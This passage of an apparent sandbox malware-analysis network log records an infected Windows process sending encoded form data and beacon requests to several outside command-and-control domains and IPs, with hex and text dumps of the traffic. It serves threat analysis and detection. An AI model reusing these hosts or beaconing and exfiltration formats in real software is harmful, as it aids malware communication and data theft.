47 31 69 54 33 70 65 71 52 4b 6e 30 6b 61 66 6c 49 76 4f 33 6c 71 34 49 6e 68 51 78 54 74 38 76 71 50 62 77 73 7a 58 54 4f 4b 53 35 45 4e 59 3d Data Ascii: 3vNdCBvX=vc1efZByy0/GqBUB75u4ZSgCPWb4eDezlLc1XKfQ1y50uFJrJ/w4TxkiX/zo41/MCueesnuQfSNj5MLtFJr3jQUmkfH9ChJj3IObMSn+lEwFWN4HgSfTiPClOxSmngh8KH0FdmUcvmG4U+Hp29qnEpwgC8uA2OlUE0p+7tqwG1iT3peqRKn0kaflIvO3lq4InhQxTt8vqPbwszXTOKS5ENY=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49771	154.90.58.209	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:10:12.367130995 CET	10824	OUT	POST /z9pi/ HTTP/1.1 Host: www.jijievo.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.jijievo.site Referer: http://www.jijievo.site/z9pi/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10305 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 76 63 31 65 66 5a 42 79 79 30 2f 47 71 42 55 42 37 35 75 34 5a 53 67 43 50 57 62 34 65 44 65 7a 6c 4c 63 31 58 4b 66 51 31 79 78 30 75 32 78 72 49 59 73 34 42 42 6b 69 55 2f 7a 72 34 31 2f 52 43 75 57 61 73 6e 54 6c 66 55 42 6a 35 76 44 74 44 37 44 33 36 67 55 6d 35 50 48 77 63 52 49 68 33 4d 53 48 4d 53 33 2b 6c 45 77 46 57 49 30 48 6d 41 33 54 75 76 43 6d 48 52 53 36 32 77 68 59 4b 48 38 7a 64 6d 51 4d 6f 57 6d 34 55 65 58 70 77 50 53 6e 49 70 77 69 44 38 75 49 32 50 59 57 45 30 30 42 37 75 32 61 47 32 2b 54 32 4f 44 62 4e 72 58 32 6e 62 6a 6e 53 63 6d 64 75 5a 45 5a 69 69 41 61 57 4e 5a 33 70 2f 58 35 70 43 4b 72 53 36 53 35 5a 34 48 49 5a 61 41 43 41 39 6e 6c 31 6e 56 64 75 65 39 38 55 42 73 6f 4b 4c 75 43 31 49 5a 47 57 6a 6a 4a 77 46 4c 55 31 69 71 6d 68 55 31 35 55 35 68 49 35 65 76 34 49 71 71 58 6b 61 4c 4f 54 63 41 65 5a 65 56 70 73 41 64 67 33 45 53 45 39 6c 57 41 70 69 76 37 56 74 39 69 33 39 69 7a 4a 37 75 74 5a 59 76 55 50 72 4f 45 49 4c 66 4e 56 4d 52 57 6c [TRUNCATED] Data Ascii: 3vNdCBvX=vc1efZByy0/GqBUB75u4ZSgCPWb4eDezlLc1XKfQ1yx0u2xrIYs4BBkiU/zr41/RCuWasnTlfUBj5vDtD7D36gUm5PHwcRIh3MSHMS3+lEwFWI0HmA3TuvCmHRS62whYKH8zdmQMoWm4UeXpwPSnIpwiD8uI2PYWE00B7u2aG2+T2ODbNrX2nbjnScmduZEZiiAaWNZ3p/X5pCKrS6S5Z4HIZaACA9nl1nVdue98UBsoKLuC1IZGWjjJwFLU1iqmhU15U5hI5ev4IqqXkaLOTcAeZeVpsAdg3ESE9lWApiv7Vt9i39izJ7utZYvUPrOEILfNVMRWlLxTwDlLFTg19DfeGw9c3c6/T3fE69RJWBZ6xV19p2pyblkZNbkzRGxd25+ENrJ5AHJl2qhCurqNTKKQ8muT0PDKxZfvREX6V07jVTrc3K6sD8Sn+rj7+fIUn0s4bfYBUVuUrJQ//91DOsI+ch6oePFv3E/p13lloQA4iBRrlAvd+hEiNiUHir6HQGEuLRxmIVq8AJpGU0lA3OV9LMRD0hlsRyUzQVRSp0x0UBocSA5rKwy+NKVFtMZkG6DWsKt6elbpKs6VuS/movdU0rYOzRvwuvIx3S/6H3Ve2RNLV6pTZGqinTnKrVqzpaNAtzln2jC97rdVxT36wtq29m+0qUuu8XNFHB5YszrDDrSLxlUqArxTgAxvNpTn7QSdM3GwHgVwy1fUvpRHQPasSneHJdN63h269u20C6BCosvuRxQJ7wfJUSQg1dZN7aUOEEEIf4BbYOQyR9B2zrZ3GZqZUrJ/PZ/GYtgB9S4BrVMEiTSLI5UOVqE0tW7nUygsR1CUXj8LEp2oAkjbucGJ6gvV9b6kioh2g3aw0ZwGQQ42kYWyRaNVczh2gmsbmrzvy+QyTCkEcjaF8t6wRgphOGjkx5Mmu0wNHEViWMT0CJlQLPiQ2kl2g1Ts/Aw4lZJkvDGlvE/XXfDwLbKOa1qyHsoXq9yoW5kjXsLjS2A [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49777	154.90.58.209	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:10:15.048355103 CET	460	OUT	GET /z9pi/?3vNdCBvX=ied+cptg7UakpzhOx9uXTlAGHDuhbT7ej64IZr/ehzcWgm5THakcORsiVprqoW37b/eRnRq1Qh5X/LbXYJipvFkLuNeVdA8j2seJJxWGnVEyQ8hCuTv0uPE=&etx=BXy4elO0X HTTP/1.1 Host: www.jijievo.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Nov 24, 2024 08:10:16.659656048 CET	197	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Sun, 24 Nov 2024 07:10:16 GMT Server: nginx Vary: Accept-Encoding Content-Length: 24 Connection: close Data Raw: 55 6e 61 62 6c 65 20 74 6f 20 67 65 74 20 63 6f 6e 6e 65 63 74 69 6f 6e Data Ascii: Unable to get connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49798	47.76.213.197	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:10:23.275626898 CET	716	OUT	POST /8qt7/ HTTP/1.1 Host: www.ytsd88.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.ytsd88.top Referer: http://www.ytsd88.top/8qt7/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 205 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 49 72 71 4f 51 36 78 65 37 33 49 49 6a 4a 35 47 4f 77 79 67 74 72 66 53 59 47 51 6e 2f 72 46 61 4c 37 6b 71 6b 68 42 71 63 5a 36 43 39 62 31 44 65 59 45 6d 4b 44 66 52 75 79 63 32 57 77 45 67 76 37 46 6b 65 39 6b 5a 4a 6f 75 62 4c 47 5a 69 7a 6d 30 51 6a 4c 64 68 58 58 55 33 4e 49 62 45 51 53 47 51 6b 46 5a 66 61 55 34 66 6d 45 66 64 4d 58 49 6b 4a 53 50 42 5a 41 6b 42 56 4a 2b 4a 44 6e 4f 32 2b 4e 49 67 64 79 37 47 4c 4e 5a 46 54 74 4f 6a 2b 73 39 72 51 48 57 51 6e 42 36 66 66 75 66 74 47 6e 37 2f 56 5a 6a 62 39 75 33 52 4b 69 75 50 54 49 6c 69 30 6b 34 30 2f 4f 44 5a 61 77 3d 3d Data Ascii: 3vNdCBvX=IrqOQ6xe73IIjJ5GOwygtrfSYGQn/rFaL7kqkhBqcZ6C9b1DeYEmKDfRuyc2WwEgv7Fke9kZJoubLGZizm0QjLdhXXU3NIbEQSGQkFZfaU4fmEfdMXIkJSPBZAkBVJ+JDnO2+NIgdy7GLNZFTtOj+s9rQHWQnB6ffuftGn7/VZjb9u3RKiuPTIli0k40/ODZaw==
Nov 24, 2024 08:10:24.857832909 CET	574	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 24 Nov 2024 07:10:24 GMT Content-Type: text/html Content-Length: 409 Connection: close ETag: "66d016cf-199" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 73 74 79 6c 65 3e 0a 09 2e 62 74 6c 69 6e 6b 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 32 30 61 35 33 61 3b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 22 20 3e 50 6f 77 65 72 20 62 79 20 3c 61 20 63 6c 61 73 73 3d 22 62 74 6c 69 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 74 2e 63 6e 2f 3f 66 72 6f 6d 3d 34 30 34 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e e5 a0 a1 e5 a1 94 20 28 e5 [TRUNCATED] Data Ascii: <html><style>.btlink {color: #20a53a;text-decoration: none;}</style><meta charset="UTF-8"><html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><div style="text-align: center;font-size: 15px" >Power by <a class="btlink" href="https://www.bt.cn/?from=404" target="_blank"> ()</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49804	47.76.213.197	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:10:25.944946051 CET	736	OUT	POST /8qt7/ HTTP/1.1 Host: www.ytsd88.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.ytsd88.top Referer: http://www.ytsd88.top/8qt7/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 225 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 49 72 71 4f 51 36 78 65 37 33 49 49 69 74 39 47 4d 54 71 67 6b 72 66 4e 57 6d 51 6e 31 4c 46 67 4c 37 6f 71 6b 67 46 36 64 72 65 43 39 36 46 44 66 64 6b 6d 4c 44 66 52 6d 53 63 33 56 41 45 72 76 37 4a 47 65 38 59 5a 4a 6f 36 62 4c 47 70 69 7a 78 67 58 73 37 64 6a 66 33 55 78 56 6f 62 45 51 53 47 51 6b 46 63 58 61 55 41 66 6c 30 50 64 4e 79 38 6c 49 53 50 43 52 67 6b 42 52 4a 2b 4e 44 6e 4f 45 2b 4d 55 4f 64 78 44 47 4c 49 39 46 54 38 4f 73 72 38 38 69 50 58 58 34 72 44 37 61 66 2b 4b 35 49 6d 2f 45 4c 59 6a 49 34 6f 36 4c 62 54 50 59 42 49 42 52 70 6a 78 41 79 4e 2b 51 42 36 33 6e 46 55 70 46 62 4c 6a 4d 6e 6b 6b 70 63 63 41 72 2f 37 73 3d Data Ascii: 3vNdCBvX=IrqOQ6xe73IIit9GMTqgkrfNWmQn1LFgL7oqkgF6dreC96FDfdkmLDfRmSc3VAErv7JGe8YZJo6bLGpizxgXs7djf3UxVobEQSGQkFcXaUAfl0PdNy8lISPCRgkBRJ+NDnOE+MUOdxDGLI9FT8Osr88iPXX4rD7af+K5Im/ELYjI4o6LbTPYBIBRpjxAyN+QB63nFUpFbLjMnkkpccAr/7s=
Nov 24, 2024 08:10:27.528074026 CET	574	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 24 Nov 2024 07:10:27 GMT Content-Type: text/html Content-Length: 409 Connection: close ETag: "66d016cf-199" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 73 74 79 6c 65 3e 0a 09 2e 62 74 6c 69 6e 6b 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 32 30 61 35 33 61 3b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 22 20 3e 50 6f 77 65 72 20 62 79 20 3c 61 20 63 6c 61 73 73 3d 22 62 74 6c 69 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 74 2e 63 6e 2f 3f 66 72 6f 6d 3d 34 30 34 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e e5 a0 a1 e5 a1 94 20 28 e5 [TRUNCATED] Data Ascii: <html><style>.btlink {color: #20a53a;text-decoration: none;}</style><meta charset="UTF-8"><html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><div style="text-align: center;font-size: 15px" >Power by <a class="btlink" href="https://www.bt.cn/?from=404" target="_blank"> ()</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49810	47.76.213.197	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:10:28.650484085 CET	10818	OUT	POST /8qt7/ HTTP/1.1 Host: www.ytsd88.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.ytsd88.top Referer: http://www.ytsd88.top/8qt7/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10305 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 49 72 71 4f 51 36 78 65 37 33 49 49 69 74 39 47 4d 54 71 67 6b 72 66 4e 57 6d 51 6e 31 4c 46 67 4c 37 6f 71 6b 67 46 36 64 72 57 43 39 49 39 44 66 38 6b 6d 5a 54 66 52 6f 79 63 4d 56 41 45 4d 76 34 35 43 65 38 55 4a 4a 71 43 62 5a 56 68 69 6e 51 67 58 33 4c 64 6a 41 48 55 77 4e 49 62 52 51 53 58 5a 6b 45 73 58 61 55 41 66 6c 32 48 64 5a 58 49 6c 4b 53 50 42 5a 41 6b 4e 56 4a 2b 6c 44 6d 71 55 2b 4e 67 77 63 41 6a 47 4c 6f 4e 46 63 75 57 73 32 4d 38 67 4f 58 58 67 72 44 33 52 66 2b 57 31 49 6d 4c 75 4c 59 58 49 31 74 72 4c 45 78 50 51 65 4c 70 32 33 52 39 58 38 39 47 6a 4d 39 7a 42 57 57 4e 68 49 37 66 37 2f 6d 74 48 47 4d 73 65 6b 72 51 42 2b 61 2f 31 50 4c 6f 76 5a 67 48 47 51 6c 6f 62 44 33 51 42 47 6e 4d 65 71 34 4f 4f 4b 6b 55 46 61 75 7a 6a 68 45 42 39 7a 6b 69 79 63 71 4f 47 44 38 51 45 67 75 2f 75 58 4f 5a 35 48 4a 6e 6b 44 6e 65 68 58 34 6e 36 51 6d 33 31 43 4d 48 39 62 66 73 4d 51 4b 30 62 79 5a 4d 56 46 41 6e 2b 4b 44 2f 48 76 70 42 37 46 6f 48 43 77 33 79 6c 34 [TRUNCATED] Data Ascii: 3vNdCBvX=IrqOQ6xe73IIit9GMTqgkrfNWmQn1LFgL7oqkgF6drWC9I9Df8kmZTfRoycMVAEMv45Ce8UJJqCbZVhinQgX3LdjAHUwNIbRQSXZkEsXaUAfl2HdZXIlKSPBZAkNVJ+lDmqU+NgwcAjGLoNFcuWs2M8gOXXgrD3Rf+W1ImLuLYXI1trLExPQeLp23R9X89GjM9zBWWNhI7f7/mtHGMsekrQB+a/1PLovZgHGQlobD3QBGnMeq4OOKkUFauzjhEB9zkiycqOGD8QEgu/uXOZ5HJnkDnehX4n6Qm31CMH9bfsMQK0byZMVFAn+KD/HvpB7FoHCw3yl4YIKLP/oo+HMjwKiUFqjaUzUFmjQQs7StjXn+r/jRydG0Pfi3I3S99Chpier+Mc4TJKVjAPWOw1DkKPFuDLaNVJ9ao/BVce89ifRlnRfg0hyahlX0ejYb9zX6sshMzDdbKEaqHejU0KrWmkn9RVFkPxNkdH1BMFkSN2riEpi3xmJwrI2Lmpo0wnM5z8/nIcIzAd99S/Z2AcQTxu7sdXeTuVUAEcYNzec2Q0V9w9MkRwDlBlm6zEHWdndCNEvVusOCwiySDhSuSUgPQvc8vT5E+meJ+ta/vr19wCvSrL7lAUuckgT9wyy/9Z1m4Qnh5PhCN88AMTssBWJ5W8JHYsj8ntKqf+CEKmxm+sSzQvuqP91N18jtX4vosaDaPZgv40373pdARjG8LwYijyldio+IlZ8ZcVU4zGhfFAp8Y7AW/QFalbz+Jwopj/scVK7ZON7PFN7hK4sMgb//mace77wI2ARexSk9MZTRLA1OziVpnMDKoVyOU5L/M7jt7NGkTUk3wQ2Gjg2yOP+st0PAF54l7EF1Yo2zR99rGaclfsEVgOYzTejvj+ko7iH7p2U88xAIbAOGv0EguAXgnFGC4T61clNuBoAEuvR2unMOneSyX9E9SAMKCLjPmfLEK0H9zQM6HdCCivHLC6E4KUYut67n8mExCyx0/tjYDV [TRUNCATED]
Nov 24, 2024 08:10:30.245706081 CET	574	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 24 Nov 2024 07:10:29 GMT Content-Type: text/html Content-Length: 409 Connection: close ETag: "66d016cf-199" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 73 74 79 6c 65 3e 0a 09 2e 62 74 6c 69 6e 6b 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 32 30 61 35 33 61 3b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 22 20 3e 50 6f 77 65 72 20 62 79 20 3c 61 20 63 6c 61 73 73 3d 22 62 74 6c 69 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 74 2e 63 6e 2f 3f 66 72 6f 6d 3d 34 30 34 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e e5 a0 a1 e5 a1 94 20 28 e5 [TRUNCATED] Data Ascii: <html><style>.btlink {color: #20a53a;text-decoration: none;}</style><meta charset="UTF-8"><html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><div style="text-align: center;font-size: 15px" >Power by <a class="btlink" href="https://www.bt.cn/?from=404" target="_blank"> ()</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49817	47.76.213.197	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:10:31.342281103 CET	458	OUT	GET /8qt7/?3vNdCBvX=FpCuTMU+yGtduI5SdGSwoaTqY2YvqsELSpRJwwRFNKDd6qo9VMAnWwDYglhkdC4Vi65aP7UQN4CBUilkwxZXjJlaW2N0MrSdIjCq1nBCaRQTsV/7KTtyEyY=&etx=BXy4elO0X HTTP/1.1 Host: www.ytsd88.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Nov 24, 2024 08:10:32.893115997 CET	574	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 24 Nov 2024 07:10:32 GMT Content-Type: text/html Content-Length: 409 Connection: close ETag: "66d016cf-199" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 73 74 79 6c 65 3e 0a 09 2e 62 74 6c 69 6e 6b 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 32 30 61 35 33 61 3b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 22 20 3e 50 6f 77 65 72 20 62 79 20 3c 61 20 63 6c 61 73 73 3d 22 62 74 6c 69 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 74 2e 63 6e 2f 3f 66 72 6f 6d 3d 34 30 34 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e e5 a0 a1 e5 a1 94 20 28 e5 [TRUNCATED] Data Ascii: <html><style>.btlink {color: #20a53a;text-decoration: none;}</style><meta charset="UTF-8"><html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><div style="text-align: center;font-size: 15px" >Power by <a class="btlink" href="https://www.bt.cn/?from=404" target="_blank"> ()</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49835	74.48.143.82	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:10:38.993603945 CET	722	OUT	POST /mlxg/ HTTP/1.1 Host: www.bpgroup.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.bpgroup.site Referer: http://www.bpgroup.site/mlxg/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 205 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 52 53 62 35 4c 54 70 43 43 46 74 42 55 34 5a 68 66 33 66 42 76 31 69 59 76 48 7a 56 4f 34 37 6f 7a 48 38 47 76 63 62 6c 78 72 43 49 39 34 41 61 65 41 74 50 6f 4d 45 67 54 7a 45 47 5a 41 37 75 6c 78 37 42 42 57 38 44 55 30 35 77 78 58 70 4c 48 62 76 4b 4f 73 39 38 5a 44 62 4c 47 69 7a 73 76 52 53 6b 74 6d 4e 73 35 38 36 44 77 58 47 49 66 46 61 4c 31 54 79 53 4f 57 6c 50 70 43 58 78 61 30 74 35 32 6f 57 2f 42 62 76 38 41 44 76 70 78 4d 2f 38 74 4c 50 7a 56 6e 4f 37 68 70 66 58 6f 41 6c 65 51 42 61 36 62 34 35 78 6d 50 64 68 71 58 74 6b 74 74 76 38 6a 31 77 66 51 69 75 56 32 51 3d 3d Data Ascii: 3vNdCBvX=RSb5LTpCCFtBU4Zhf3fBv1iYvHzVO47ozH8GvcblxrCI94AaeAtPoMEgTzEGZA7ulx7BBW8DU05wxXpLHbvKOs98ZDbLGizsvRSktmNs586DwXGIfFaL1TySOWlPpCXxa0t52oW/Bbv8ADvpxM/8tLPzVnO7hpfXoAleQBa6b45xmPdhqXtkttv8j1wfQiuV2Q==
Nov 24, 2024 08:10:40.198443890 CET	1236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Sun, 24 Nov 2024 07:10:40 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; 